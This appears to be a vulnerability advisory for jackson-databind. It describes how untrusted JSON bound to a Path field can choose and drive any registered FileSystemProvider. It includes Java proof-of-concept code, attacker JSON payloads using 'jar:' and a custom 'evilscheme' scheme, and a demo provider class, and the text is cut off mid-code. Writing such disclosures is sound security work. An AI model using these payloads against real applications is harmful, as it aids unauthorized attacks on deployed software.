Description

jackson-databind: Path Deserialization Missing Scheme Allowlist for FileSystemProvider Resolution ### Summary A java.nio.file.Path field bound from untrusted JSON reaches JDKFromStringDeserializer.NioPathHelper.deserialize. The attacker string flows through new URI(value) → Path.of(uri), then on FileSystemNotFoundException into a ServiceLoader<FileSystemProvider> enumeration that calls provider.getPath(uri) on the first scheme-matching provider. No scheme is rejected, so untrusted JSON can drive an arbitrary registered provider under the default JsonMapper.builder().build(). Impact is bounded. The JDK built-in providers (file, jar/zipfs) do no network I/O and do not mount, so the path is inert without a side-effecting third-party provider. Binding Path from untrusted input is already an anti-pattern. ### Description NioPathHelper.deserialize performs provider resolution driven by the attacker URI (abridged; the real method also handles a Windows drive-letter prefix and wraps failures via ctxt.handleInstantiationProblem(...)): java int colonIx = value.indexOf(':'); if (colonIx < 0) { return Path.of(value); } ... final URI uri = new URI(value); // attacker-controlled URI string try { return Path.of(uri); // resolves scheme -> may load a FileSystemProvider } catch (FileSystemNotFoundException cause) { final String scheme = uri.getScheme(); for (FileSystemProvider provider : ServiceLoader.load(FileSystemProvider.class)) { if (provider.getScheme().equalsIgnoreCase(scheme)) { return provider.getPath(uri); // attacker scheme selects & drives a provider } } // no matching provider -> ctxt.handleInstantiationProblem(...) (throws by default) } The attacker's scheme selects the provider and the attacker's URI is passed to it; the enumeration also forces provider classloading during readValue. For built-in schemes like jar:, getPath throws FileSystemNotFoundException (a mount requires explicit newFileSystem), surfacing as a wrapped ValueInstantiationException with no terminal effect. Any mount, network I/O, or resource access depends entirely on the selected provider. ## Vulnerable Code Location - src/main/java/tools/jackson/databind/deser/jdk/JDKFromStringDeserializer.java - STD_PATH → NioPathHelper.deserialize; NioPathHelper.deserialize body (new URI → Path.of(uri) → ServiceLoader.load(FileSystemProvider.class) → provider.getPath(uri)). ## Proof of Concept Two PoCs are provided. > PoC 2 registers a custom FileSystemProvider to show that attacker JSON reaches provider.getPath(attackerURI) inside readValue. Whether a third-party provider then does anything harmful is outside the library's control. The in-scope issue is PoC 1 — the jar:/arbitrary-scheme path reaching the ServiceLoader fallback with no scheme restriction. PoC 1 — sink reached (built-in jar provider). com/poc/Vuln04_PathProvider.java: java package com.poc; import tools.jackson.databind.ObjectMapper; import tools.jackson.databind.json.JsonMapper; import java.nio.file.Path; /** * Vuln 4: java.nio.file.Path deserialization resolves an attacker URI via * Path.of(uri) / ServiceLoader<FileSystemProvider>. */ public class Vuln04_PathProvider { public static class Config { public Path workdir; } public static void main(String[] args) throws Exception { ObjectMapper mapper = JsonMapper.builder().build(); // jar: scheme forces FileSystemProvider resolution / mounting attempt on attacker URI. String json = "{\"workdir\":\"jar:file:/tmp/jackson_poc_evil.zip!/x\"}"; System.out.println("Deserializing (default mapper): " + json); try { Config c = mapper.readValue(json, Config.class); System.out.println("Resolved Path = " + c.workdir + " (class=" + (c.workdir==null?"null":c.workdir.getClass().getName()) + ")"); System.out.println("RESULT: VULNERABLE - attacker URI scheme resolved through provider machinery during readValue"); } catch (Throwable t) { System.out.println("Throwable during resolution: " + t.getClass().getName() + ": " + t.getMessage()); System.out.println("RESULT: VULNERABLE (attacker URI drove provider resolution; threw " + t.getClass().getSimpleName() + " inside readValue)"); } } } PoC 2 — scheme-selection mechanism demo (custom FileSystemProvider). A third-party provider (scheme evilscheme) registered via META-INF/services/java.nio.file.spi.FileSystemProvider, which is standing in for any provider a real application ships. com/poc/EvilFileSystemProvider.java: java package com.poc; import java.nio.file.*; import java.nio.file.spi.FileSystemProvider; import java.nio.file.attribute.*; import java.net.URI; import java.io.IOException; import java.util.*; import java.util.Set; import java.nio.channels.SeekableByteChannel; /** * A custom java.nio.file.spi.FileSystemProvider registered via META-INF/services, using the * scheme "evilscheme". It stands in for ANY third-party FileSystemProvider present on a real * application's classpath. Its static initializer and getPath() record that they executed, * proving that attacker-controlled JSON drove provider class loading + provider.getPath(uri) * inside jackson's readValue. */ public class EvilFileSystemProvider extends FileSystemProvider { public static volatile boolean STATIC_INIT_RAN = false; public static volatile String GET_PATH_URI = null; static { STATIC_INIT_RAN = true; } @Override public String getScheme() { return "evilscheme"; } @Override public Path getPath(URI uri) { GET_PATH_URI = uri.toString(); System.out.println(">>> [EVIL-PROVIDER] getPath() invoked with attacker URI: " + uri); // A malicious/vulnerable provider could here open a socket, read a file, mount a FS, etc. return java.nio.file.Path.of(System.getProperty("java.io.tmpdir"), "evilprovider-marker"); } // --- remaining abstract methods: minimal stubs --- @Override public FileSystem newFileSystem(URI uri, Map<String,?> env) { throw new UnsupportedOperationException(); } @Override public FileSystem getFileSystem(URI uri) { throw new FileSystemNotFoundException(); } @Override public SeekableByteChannel newByteChannel(Path p, Set<? extends OpenOption> o, FileAttribute<?>... a) throws IOException { throw new UnsupportedOperationException(); } @Override public DirectoryStream<Path> newDirectoryStream(Path d, DirectoryStream.Filter<? super Path> f) { throw new UnsupportedOperationException(); } @Override public void createDirectory(Path d, FileAttribute<?>... a) { throw new UnsupportedOperationException(); } @Override public void delete(Path p) { throw new UnsupportedOperationException(); } @Override public void copy(Path s, Path t, CopyOption... o) { throw new UnsupportedOperationException(); } @Override public void move(Path s, Path t, CopyOption... o) { throw new UnsupportedOperationException(); } @Override public boolean isSameFile(Path p, Path p2) { return false; } @Override public boolean isHidden(Path p) { return false; } @Override public FileStore getFileStore(Path p) { throw new UnsupportedOperationException(); } @Override public void checkAccess(Path p, AccessMode... m) { } @Override public <V extends FileAttributeView> V getFileAttributeView(Path p, Class<V> t, LinkOption... o) { return null; } @Override public <A extends BasicFileAttributes> A readAttributes(Path p, Class<A> t, LinkOption... o) { throw new UnsupportedOperationException(); } @Override public Map<String,Object> readAttributes(Path p, String a, LinkOption... o) { throw new UnsupportedOperationException(); } @Override public void setAttribute(Path p, String a, Object v, LinkOption... o) { } } Registration descriptor — src/main/resources/META-INF/services/java.nio.file.spi.FileSystemProvider: com.poc.EvilFileSystemProvider Driver — com/poc/Vuln04b_PathProviderMount.java: ```java package com.poc; import tools.jackson.databind.ObjectMapper; import tools.jackson.databind.json.JsonMapper; /** * Vuln 4 (end-to-end terminal effect): a third-party FileSystemProvider registered via * META-INF/services (scheme "evilscheme") stands in for any provider on a real app's * classpath. Attacker JSON with that scheme drives jackson's ServiceLoader fallback to * (1) load the provider class (running its static initializer) and (2) invoke * provider.getPath(attackerUri) -- all inside readValue, with NO application code. */ public class Vuln04b_PathProviderMount { public static class Config { public java.nio.file.Path workdir; } public static void main(String[] args) throws Exception { System.out.println("Provider static-init ran before deserialization? " + EvilFileSystemProvider.STATIC_INIT_RAN); ObjectMapper mapper = JsonMapper.builder().build(); // default config String json = "{"workdir":"evilscheme://attacker-controlled/target?x=1"}"; System.out.println("Deserializing (default mapper): " + json); Config c = mapper.readValue(json, Config.class); System.out.println("Resolved Path = " +

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